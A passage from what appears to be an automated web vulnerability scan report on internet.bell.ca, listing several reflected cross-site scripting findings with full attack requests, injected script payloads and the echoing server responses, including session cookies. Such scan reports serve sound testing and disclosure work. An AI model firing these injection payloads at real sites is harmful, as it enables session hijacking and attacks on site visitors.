Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:35:52 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:35:52 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:35:52 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:35:52 GMT;path=/
Set-Cookie: VOKEN_SEEN=0;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/img_galleryaa7cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6e9167ed7c/images/map_canadaOff.gifdc683"><script>alert(1)</script>0f4ddb19276" />
...[SNIP]...

2.21. http://internet.bell.ca/index.cfm [path_requested parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /index.cfm

Issue detail

The value of the path_requested request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 94f8d"><script>alert(1)</script>c79d14e2668 was submitted in the path_requested parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/img_galleryaa7cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6e9167ed7c/images/map_canadaOff.gif94f8d"><script>alert(1)</script>c79d14e2668 HTTP/1.1
Accept: */*
Referer: http://internet.bell.ca/img_galleryaa7cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6e9167ed7c/90_en.gif
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: internet.bell.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=bXatz2tVfn2b9Lu3eXd5uIX+TL/g0Jq21PCA+7o7L6urWrsaUoYMYnxMC3lgvGY6vvi8wkryYekCxDWmWTGX37b+3hI4kBjnRWCRBZPPqnhS4dUjY7ON0rb6+SsFLLnqRztuAOKrnoQ9rElTALeSdccfyPd6bNaEPAqTDFwSz8DXjrN0NaNuXQDZQP6IQHWmWv+Fg64czOM9Y7AQEPJKj0gGMcIGRH+VcOVKjGfSOPghIj8AgvVNZeWOsbw1UBx4QlYNMu8ogKKNRDcNVVBp5P/fsoYeOuHyUyEfGlgTAFHRn3jOljkqAQ==; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; CFID=121969907; CFTOKEN=19068509; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=78F1E361%2D65B8%2DB18C%2D8CC9C93F77F8DAC1

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:35:53 GMT
Connection: close
Set-Cookie: SMSESSION=6I7qcU5ylXT9hRg8irkL1dWtbKYJ7ZmVEy7hjTBF3MPNiTiBHaYAKf/4tuabDJhSj8dPpoLhGdfkqza6HiZjZsnQ8fMictDi3bTjThD5lxbkzqyH1IRaS5vTPo7MfLDofPBZ7w+t2+ibBMKIRlFGcQaCIdB71XAD0THTDwef+xywlpgN37OnNUonSwTaOkRm+sw0wlwsr7JQ+EwAuVoHC59igQvMxMQfbukn4k1zDMBp6dZ0j8OOD5g3zWT7pZlqkjZpFTgkCL5DqIDPw5G0p5+b6HU2ilCtGJC7cu5yLrKEavG8tlO3gw==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:35:54 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:35:54 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:35:54 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:35:54 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:35:54 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:35:54 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:35:54 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:35:54 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:35:54 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:35:54 GMT;path=/
Set-Cookie: VOKEN_SEEN=0;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/img_galleryaa7cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6e9167ed7c/images/map_canadaOff.gif94f8d"><script>alert(1)</script>c79d14e2668" />
...[SNIP]...

2.22. http://internet.bell.ca/js/PageSize.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/PageSize.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5f24d"><script>alert(1)</script>bec8d0c0cb5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js5f24d"><script>alert(1)</script>bec8d0c0cb5/PageSize.js HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:25 GMT
Connection: close
Set-Cookie: SMSESSION=TxBXR5koHSSEdeo9iTNhlTiFhNWFY5wVHsQTRmP96Y6MRsRlyZY3qxLKdzb9/LxIZ+rcuHTNNYdyPh179ZIcuN3cWvFdCuY7JNJ4ebJEjCoLQMfSEXvGDMYyIlrgdY5sbrePCTUWCHW/poYh04F/oCttAOySQHZewah+wAiapa/UkxQbkYI/ahVj5xAbEujuu5/P3w8qYrivs0jUHgeGGGW1A3p+FFl02eT10tX1VixMEOK9ugIeLvvPMdlOc8vL33aK3UXKmKEI7UEZzg7ApOJj5MMFbz08LZFsl0ILB3fcpADYe/NTJg==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:26 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:26 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:26 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:26 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:26 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:26 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:26 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:26 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:26 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:26 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js5f24d"><script>alert(1)</script>bec8d0c0cb5/PageSize.js" />
...[SNIP]...

2.23. http://internet.bell.ca/js/PageSize.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/PageSize.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 148c3"><script>alert(1)</script>5909ab26a39 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/PageSize.js148c3"><script>alert(1)</script>5909ab26a39 HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:44 GMT
Connection: close
Set-Cookie: SMSESSION=VmpCfzbKl4sN9mZcF9O0r+UQdQDeOLa/ICyJWYSf8CmmK5kFieMNTHowpJmcjOPMtNenWn+uTtkAVQ8bBbkp3wIPt8PttBt1DrcFxtU64pdpdcLJ5OtWNFDXkRhZRDcpmwnm1PuFcXOe/QrLTIBRafmt0ZfZqcGOaeHcVemYDoOisrROaEclmFMEu8XVgMyzptP6nBsFvlaDSSwgLYfGtUVsiqH3ViQCAqNs0Dat/F05eAB3T5DLV1ysLe7UEErFKfeLnijEKr09V90Jq4iy5GxHHflNE80qRbIt3cA0YUSjeqElFoPd4w==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:44 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:44 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:44 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:44 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:44 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:44 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:44 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:44 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:44 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:44 GMT;path=/
